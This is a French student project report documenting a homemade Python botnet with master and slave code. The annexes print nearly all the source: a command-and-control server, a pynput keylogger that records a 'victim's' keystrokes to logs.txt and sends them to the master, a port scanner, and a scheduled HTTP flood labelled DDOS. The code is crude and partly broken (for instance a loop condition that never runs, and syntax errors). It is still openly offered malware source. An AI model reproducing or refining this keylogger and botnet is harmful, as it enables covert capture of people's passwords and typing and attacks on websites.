

DÉVELOPPEMENT : DOCUMENTATION DU PROJET

```
88                88                88
88                88                88
88                888888                888888
88,dPPYba,    ,adPPYba, 88    , ,      ,8edPPUba, 88
88P'    "8a a8"    "8a 88    88,dPPUba, 88    d8' 88
88        d8 8b    d8 88    88        d8 88e88e88e"" 88
88b,    ,a8" "8a,    ,a8" 88b,    88    88 88,    88b,
8Y"Ybbd8""'    "YbbdP"' '8Y"Ybbd8""' 88    88 8Y"Ybbd8""' '8Y"Ybbd8""'
```

by Bilal

```
/-----\
|
| [ 1 ] Connexion
| [ 2 ] Keylogger
| [ 3 ] PortScan
| [ 4 ] DDOS
| [ 5 ] EXIT
|
\-----/
```

Serveur >>

Table des matières

Présentation	4
1. Connexion	4
2. Keylogger	4
➤ START	4
➤ STOP	4
➤ GET	4
3. PortScan	5
4. DDOS	5
5. EXIT	5
Chose à savoir	5
Conclusion	6
Annexes	6
Master	6
Les librairies :	6
La classe Colors :	7
La classe Serveur :	7
La fonction Connexion :	8
La fonction SendClient :	9
La fonction recvClient :	10
La fonction Main :	11
La fonction choixMenu :	11
Client	13
Les modules	13
La classe Client :	14
La fonction sendServeur :	14
La fonction RecvServeur :	15
La fonction Keylogger :	17
La fonction ActivationDDOS :	18
La fonction DDOS :	18
Démarrage du client	19

Présentation

Botnet est un programme qui permet de contrôler plusieurs machines à distances dans ce programme nous avons plusieurs choix, nous allons vous les énumérer en vous expliquant nos choix d'implémentation.

1. Connexion

Nous partons du principe que de base, du côté Master lorsque nous lançons le code le socket ne se lance pas automatiquement nous avons choisis cela pour éviter de surconsommer de la bande passante pour rien. Du côté Slave cependant lorsque la victime lance le programme le socket est directement en « attente de connexion » pour se connecter il suffit donc d'appuyer sur connexion et une boucle infinie s'exécutera jusqu'à connexion.

2. Keylogger

Pour notre choix de log nous avons opté pour Keylogger, pour le squelette de celui-ci nous nous sommes inspirés d'une personne sur internet¹. Lorsque qu'on le choisit un deuxième menu s'ouvre à nous. Celui-ci comprend :

a) START

Permet de démarrer l'enregistrement de frappe, le slave lance un thread qui exécutera de manière asynchrone la fonction keylogger

b) STOP

Permet de stopper et d'enregistrer le fichier log.txt dans la machine victime

c) GET

Permet de recopier le fichier dans un fichier texte sur notre machine. Nous avons essayé avec le module ftplib mais nous n'avons pas réussi, de plus nous avons également choisis de ne pas demander à l'utilisateur de choisir le nombre de ligne car notre keylogger, contrairement à d'autres, colle tout en une phrase.

Ces différents choix sont reçus par le Slave directement dans sa fonction thread (RecvServeur)

¹ <https://www.youtube.com/watch?v=2u3nR3JNEzI>

3. PortScan

Voici notre petit bonus, un scanner de port inspiré directement d'une formation² que nous avons suivis. Celle-ci fonctionne dans un principe assez simple, nous demandons à l'utilisateur d'entrer l'IP qu'il veut scanner, ensuite dans une liste nous avons stocker les ports les plus « important » autrement dit les plus susceptibles d'être ouvert. À savoir qu'un port ouvert est une porte d'entrée pour un hacker. Puis, à l'aide d'un for nous passons en revue les différents ports et avec un if – else qui essayera une connexion sur chacun de ces ports.

4. DDOS

Pour le DDOS l'utilisateur doit d'abord rentrer l'URL, pour le module « request » il faut une url qui commence par http donc un copier-coller suffit. Nous avons créé une boucle et à l'aide d'un slicing nous sommes obligés de commencer l'url par http au minimum. Ensuite l'utilisateur entre le mois, jour, heure, minute de l'attaque ; ceux-ci ont été compliqués à gérer car il a fallu les convertir plusieurs fois. Ensuite ceux-ci sont reçus par le slave qui les testera dans une grande condition, qui lorsqu'elle sera respectée à la minute près exécutera 10 requêtes sur l'url choisies

5. EXIT

Coupe la connexion des sockets et quitte le programme

Chose à savoir

Pour se connecter plus facilement lancer d'abord le Master avec le choix connexion puis le Slave. Lorsqu'un bot est déjà connecté le socket est donc ouvert et les autres bots pourront se connecter sans que vous ayez besoin de appuyer sur la touche 1.

Pour l'option keylogger à chaque fois que vous voudrez exécuter une des 3 options (START, STOP, GET) il faudra au préalable rentrer dans le menu keylogger en entrant la touche 2.

² <https://www.alphorm.com/tutoriel/formation-en-ligne-python-pour-les-pentesteurs-1-2>

Conclusion

Pour un premier programme c'est une grande fierté pour nous de vous présenter ce projet nous sommes très conscients qu'il n'est pas très propre et qu'il aurait pu être encore mieux optimisé nous comptons le conserver et bosser dessus hors projet scolaire si cela est envisageable. Ce projet nous a permis de sortir de nos sentiers battus et d'apprendre de nouvelles choses en 2 mois nous avons appris plus de choses qu'en 1 an de pratique et juste pour ça nous ne regrettons pas nos heures passées dessus.

Annexes

Master

Les librairies :

```
import socket
import threading
import time
import argparse
import Menu, portscanner, Chargement
import sys
```

Le module **socket** : permet d'ouvrir une connexion distance avec nos clients et d'échanger entre-elles.

Le module **threading** : permet d'exécuter plusieurs instructions en parallèles.

Le module **time** : Utilisé pour le « time.sleep » et permet de mettre en pause l'exécution du programme pendant un temps déterminé.

Le module **argparse** : permet de gérer facilement les arguments en ligne de commande

Le module **sys** : fournit un accès à certaines variables utilisées et maintenues par l'interpréteur, et à des fonctions interagissant fortement avec ce dernier.

Le module **Menu** : Importation de notre Menu créé en dehors de notre Master. Il contient tous nos menus utilisés (interfaces graphiques).

Le module **portscanner** : Importation de notre Portscanner créer en dehors de notre Master.
Il permet de scanner les ports ouverts.

Le module **Chargement** : Importation de notre Chargement créer en dehors de notre Master.
Animation de chargement exécuté lors du « GET » avec le Keylogger.

La classe Colors :

```
class Colors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'
```

Nous avons ajouté cette fonction qui permet de changer la couleur plus facilement.

Références³

La classe Serveur :

```
class Serveur:
    def __init__(self, host, port):
        # Déclaration de la variable
        self.host = host
        self.port = port
        # Connexion au socket
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))
```

La classe **Serveur** :

- Création de la classe Serveur
- Définition de l'objet ainsi déclaration des variables host et port
- Connexion au socket

³ <https://stackoverflow.com/questions/287871/how-to-print-colored-text-in-terminal-in-python>

- AF-INET : famille d'adresse et SOCK-STREAM : pour le Protocol TCP
- Sock.bind : Associe le socket a une adresse locale

La fonction Connexion :

```
def connexion(self):
    global ServeurActif, my_client
    time.sleep(1)
    self.sock.listen(5)
    print("En attente de la connexion du bot..")
    ServeurActif = True
    try:
        while ServeurActif:
            conn, address = self.sock.accept()
            print(f"{Colors.OKGREEN} \n BOT connecté | IP {address[0]} | port {address[1]} {Colors.ENDC}")
            my_client += [conn]
            threading.Thread(target=self.recvClient).start()
            threading.Thread(target=self.sendClient).start()
    except socket.error:
        print("Socket déconnecté")
```

La fonction connexion :

- Commence à écouter les connexions entrantes donc 5 est le nombre d'échec avant de les refuser
- Initialisation des 2 variables conn et address pour accepter les connexions (address contient l'IP + port)
- Boucle infinie pour la connexion : Si oui, le bot est connecté + apparition du de l'IP et du port
- sinon message d'erreur qui apparait

La fonction `SendClient` :

```
def sendClient(self):
    global my_client, ServeurActif
    while ServeurActif:
        try:
            msgserveur = input(f"{Colors.OKBLUE}Serveur >> {Colors.ENDC}")
            for bot in my_client:
                bot.send(msgserveur.encode("utf-8"))
                if msgserveur == "1":
                    print(f"Machine {bot.getpeername()} déjà connectée ")

                elif msgserveur == "2":
                    Menu.menuKey()

                elif msgserveur == "3":
                    Menu.menuPortScan()
                    portscanner.start_scan()
                    time.sleep(10)
                    Main()
                    pass

                elif msgserveur == "4":
                    Menu.menuDDOS()

                elif msgserveur == "5":
                    print("Déconnexion..")
                    self.sock.close()
                    ServeurActif = False
                    sys.exit()
            except ConnectionError as msg:
                print("Erreur d'envoi: " +str(msg))
```

La fonction `sendClient` :

Concerne l'envoi de données pour accéder aux différentes fonctionnalités

1 : Permet la connexion au client

Si le client est connecté nous afficher qu'il est déjà connecté

2 : Permet d'accéder au Menu du Keylogger

3 : Permet d'accéder à la fonction Port scanner

4 : Permet d'accéder à la fonction DDOS

5 : Permet la déconnexion en fermant le socket

Une gestion d'erreur : Nous affiche un message d'erreur lorsqu'on envoie un nombre non compris entre 1 et 5

La fonction *recvClient* :

```
def recvClient(self):
    global my_client, ServeurActif
    while ServeurActif:
        try:
            for bot in my_client:
                msgClient = bot.recv(1024).decode("utf-8")
                #SI LE MSG CORRESPOND A CA IL IRA RECOPIER LE FICHIER
                if msgClient == "Envoi du fichier en cours.. ":
                    print("Réception du fichier..")
                    texte = bot.recv(4096).decode("utf-8")
                    try:
                        fichier = open("keylog.txt", "w+")
                        for element in texte:
                            #TEST DE METTRE LE NOM DU BOT POUR SAVOIR A QUI APPARTIENT LE LOG
                            fichier.write(element)

                        fichier.close()
                        Chargement.start()
                        print(f" {Colors.OKGREEN}\n Envoi terminé avec succès ! {Colors.ENDC}")
                    except ValueError as msg:
                        print(f"{Colors.FAIL} \n Erreur d'envoi: {Colors.ENDC}" + str(msg))

                else:
                    print(f" \n {Colors.FAIL}Bot: {bot.getpeername()} >> {msgClient} {Colors.ENDC}")

            except socket.error as msg:
                print(f"\n {Colors.FAIL}WARNING : Client {bot.getpeername()} déconnecté {Colors.ENDC}" + str(msg))
                break
```

La fonction *recvClient* :

Concerne la réception de données du client vers le serveur (keylogger.txt)

- Récupération du fichier texte et l'envoi lorsqu'on utilisera l'option GET du keylogger
- Un message de réception apparaît
- Une progression du téléchargement se fera dans le terminal
- Une fois finie un message apparaît « Envoi terminé » + un message précisant le bot avec l'IP et le port concernés

La fonction *Main* :

```
def Main():  
    Menu.bannière()  
    Menu.menu()
```

Lorsque le serveur est lancé et que la connexion est établie avec le client

La bannière (botnet) apparait et le menu principal avec les différentes fonctionnalités

La fonction *choixMenu* :

```
def choixMenu():  
  
    choix = input(f"{Colors.OKBLUE}Serveur >> {Colors.ENDC}")  
    global ServeurActif  
    if choix == "1":  
        host = "127.0.0.1"  
        port = 6666  
        MonServeur = Serveur(host, port)  
        MonServeur.connexion()  
        choixMenu()  
    elif choix == "2" or choix == "3" or choix == "4":  
        if ServeurActif:  
            pass  
        else:  
            print(f"{Colors.FAIL}Veuillez connecter d'abord une machine.{Colors.ENDC}")  
            time.sleep(3)  
            Main()  
            choixMenu()  
    elif choix == "5":  
        print("Fin du programme")  
        sys.exit()  
    else:  
        print("Choix invalide")  
        time.sleep(3)  
        Main()  
        choixMenu()
```

La fonction **choixMenu** :

Permet à l'utilisateur d'entrée un chiffre parmi les fonctionnalités proposés

Le **1^{er}** choix permet de se connecter localement

Si on utilise directement l'option **2,3,4** un message d'erreur apparait « Veuillez-vous connecter d'abord à une machine ».

Le **5ème** choix permet de quitter le programme

Si le choix ne figure pas dans les choix proposés un message s'affiche « Choix invalide »

1) A FINIR fonction **arg** :

```
def main(argv):  
  
    # ARGUMENT -h pour l'hote et -p pour le port  
    # -----  
    parser = argparse.ArgumentParser(description="Entrez le port et l'hote par défaut (localhost et 6666)"  
    parser.add_argument("-h", help="Entrez l'hote", type=str, default="127.0.0.1")  
    parser.add_argument("-p", help="Entrez le port", type=int, default=6666)  
    args = parser.parse_args()  
  
    if len(sys.argv) == 1:  
        parser.print_help()  
        exit()  
    # -----
```

La fonction **main** :

??

```
#-----#
if name == "main":
    my_client = []
    ServeurActif = False
    MonServeur = Serveur
    main = Main()
    choixMenu()
#-----#
```

??

Client.

Les modules

```
import socket
import threading
import requests
from pynput.keyboard import Listener
import datetime
import time
```

Les modules **socket**, **threading**, **time** ont été mentionné dans la partie Master

Le module **requests** : permet d'utiliser le protocole http

Le module **Listener** : permet d'écouter les événements

La classe *Client* :

```
class Client:
    # Classe du client
    def __init__(self, host, port):
        global ClientConnecte
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # connection au socket
        print(f"{Colors.BOLD}En attente de connexion.. {Colors.ENDC}")
        time.sleep(5)
        ClientConnecte = True
        while ClientConnecte:
            try:
                self.sock.connect((host, port))
                print(f"{Colors.BOLD}Bot connecté{Colors.ENDC}")
                threading.Thread(target=self.RecvServeur).start()
                threading.Thread(target=self.sendServeur).start()
                break
            except socket.error as msg:
                print(f"{Colors.FAIL}Erreur de connexion{Colors.ENDC}: " + str(msg))
```

On définit une fonction orienté objet pour la classe Client avec les variable host et port

Connexion au socket avec un message d'attente de connexion

Le time.sleep(5) au bout de 5 secondes s'il n'y a pas de réponse → « Erreur de connexion »

Lorsque le client est connecté, le bot se connecte lui aussi en affichant l'IP et le port.

Sinon si la connexion est impossible → message d'erreur « Erreur de connexion »

La fonction *sendServeur* :

```
# Envoi des données vers le serveur
def sendServeur(self):
    print(f"{Colors.OKGREEN}Bot prêt à envoyé des données{Colors.ENDC}")
    while ClientConnecte:
        try:
            msgClient = ""
            self.sock.send(msgClient.encode("utf-8"))
        except socket.error as msg:
            print(f"{Colors.FAIL}envoi impossible: {Colors.ENDC}" + str(msg))
            break
```

Permet d'envoyer les données vers le serveur

- Affiche un message « Bot prêt a envoyé des données » lorsque la connexion entre le serveur et le client est établie
- Gestion d'erreur : Envoi les données et dans le cas contraire affiche le message suivant : « envoi impossible »

La fonction RecvServeur :

```
# Reception des données par le serveur
# Le menu principal est compris dans le code ci-dessous
def RecvServeur(self):
    global ClientConnecte, LockKeylog
    print(f"{Colors.OKBLUE}Bot prêt à recevoir des ordres {Colors.ENDC}")
    try:
        while ClientConnecte:
            msgServeur = self.sock.recv(1024).decode("utf-8")
            print(f"{Colors.OKBLUE}Serveur>> {Colors.ENDC}", msgServeur)

            if msgServeur == "1":
                pass

            elif msgServeur == "2":
                #-----KEYLOGGER-----
                # DIFFERENT CHOIX POUR KEYLOG
                msgKey = self.sock.recv(1024).decode("utf-8")

                if msgKey == "START":
                    threading.Thread(target=self.Keylogger).start()

                elif msgKey == "STOP":
                    LockKeylog = True

                # ENVOI DU FICHIER TXT
                elif msgKey == "GET":
                    stockage = ""
                    self.sock.send("Envoi du fichier en cours.. ".encode("utf-8"))
                    time.sleep(2)
                    log = open("logs.txt", "r+")
                    for i in log.readline():
                        stockage += i

                    log.close()
                    self.sock.send(stockage.encode("utf-8"))
                    self.sock.send("fin de l'envoi. ".encode("utf-8"))
```

Permet d'envoyer les données du Slave vers le Master

Lorsque la connexion est établie et que le choix sélectionné est le 1er alors il renvoi le message « déjà connecté vu précédemment »

Lorsque la connexion est établie et que le choix sélectionné est le 2^{ème} alors le menu du keylogger apparait

Ensuite, 3 choix s'offrent à nous :

Le 1^{er} : « START » qui va tout simplement démarrer le keylogger donc l'enregistrement des touches du Slave

Le 2^{ème} : « STOP » qui va stopper le keylogger

Le 3^{ème} : « GET » qui va regarder si le fichier keylogger.txt est présent sur la machine Slave. Si oui, enregistrer et envoyer sur la machine Master

Sur le terminal du Master on voit donc la progression du transfert et un message de fin d'envoi apparaît.

```
# -----FIN KEYLOGGER-----
elif msgServeur == "3":
    print(f"{Colors.OKGREEN}Port Scan{Colors.ENDC}")
    pass

elif msgServeur == "4":
    self.sock.send("Entrez l'URL (Commencant par http) : ".encode("utf-8"))
    url = self.sock.recv(4096).decode("utf-8")
    if url[:4] == "http":
        self.ActivationDDOS(url)
    else:
        self.sock.send("Erreur d'URL".encode("utf-8"))
        continue

elif msgServeur == "5":
    ClientConnecte = False
    self.sock.send(f"Déconnexion de : {self.sock.getsockname()}".encode("utf-8"))
    self.sock.close()
except socket.error as msg:
    print(f"{Colors.FAIL}Déconnexion : {Colors.ENDC}" + str(msg))
```

Lorsque la connexion est établie et que le choix sélectionné est le 3^{ème} alors il affiche Port Scan sur le serveur

Lorsque la connexion est établie et que le choix sélectionné est le 4^{ème} alors il indique qu'il faut entrer l'URL commençant par http sinon → Erreur d'URL

- Si l'URL est correcte, la fonction DDOS s'active

Lorsque la connexion est établie et que le choix sélectionné est le 5^{ème} alors il se déconnecte du client

La fonction *Keylogger* :

```
def Keylogger(self):
    global LockKeylog

    def get_key(key):
        key_format = str(key).replace("'", "")
        write_logs(key_format)

    def write_logs(key):
        f = open("logs.txt", "a")
        if str(key).find("space") > 0:
            f.write(" ")
        elif str(key).find("Key") != 0:
            f.write(str(key))

    def stop_logger(key):
        if LockKeylog:
            self.sock.send("Fin du Keylogger.".encode("utf-8"))
            return False

    with Listener(on_press=get_key, on_release=stop_logger) as listener:
        self.sock.send("En écoute.. ".encode("utf-8"))
        time.sleep(2)
        listener.join()
```

La fonction *keylogger* :

Composé de plusieurs fonctions comme *get_key*, *write_logs*, *stop_logger*

La fonction *get_key* :

La fonction *write_logs* : Ecrit dans le fichier keylog.txt

Rem : Les espaces ont été remplacé par un vide pour que ce soit plus lisible

Les autres modificateurs restent tels quels

La fonction *stop_logger* : Ferme le keylogger lorsque la touche ESC est appuyée

La fonction *ActivationDDOS* :

```
def ActivationDDOS(self, url):  
    i = 0  
    today = datetime.datetime.now()  
    today.strftime('%m-%d-%h-%M')  
  
    self.sock.send("Entrez le mois: ".encode("utf-8"))  
    mois = int(self.sock.recv(4096).decode("utf-8"))  
  
    self.sock.send("Entrez le jour: ".encode("utf-8"))  
    jour = int(self.sock.recv(4096).decode("utf-8"))  
  
    self.sock.send("Entrez l'heure: ".encode("utf-8"))  
    heure = int(self.sock.recv(4096).decode("utf-8"))  
  
    self.sock.send("Entrez la minute: ".encode("utf-8"))  
    minute = int(self.sock.recv(4096).decode("utf-8"))  
  
    while i == 10:  
        if today.month == mois and today.day == jour and today.hour == heure and today.minute == minute:  
            try:  
                print("test")  
                r = requests  
                r.get(url)  
                i += 1  
            except requests.exceptions.InvalidURL:  
                self.sock.send("Erreur du DDOS".encode("utf-8"))  
  
        self.sock.send("DDOS Réussis".encode("utf-8"))  
        print("DDOS Réussis")
```

La fonction *DDOS* :

Lorsque l'option DDOS sera choisi au niveau du Master, il pourra donc programmer l'attaque en y indiquant le mois, le jour, l'heure et la minute.

- Si l'URL précédemment entrer est correct → « DDOS Réussis »
- Sinon erreur → « Erreur du DDOS »

Démarrage du client

```
# -----#  
if __name__ == "__main__":  
    ClientConnecte = False  
    LockKeylog = False  
    host = "127.0.0.1"  
    port = 6666  
    Monclient = Client(host, port)  
# -----#
```

-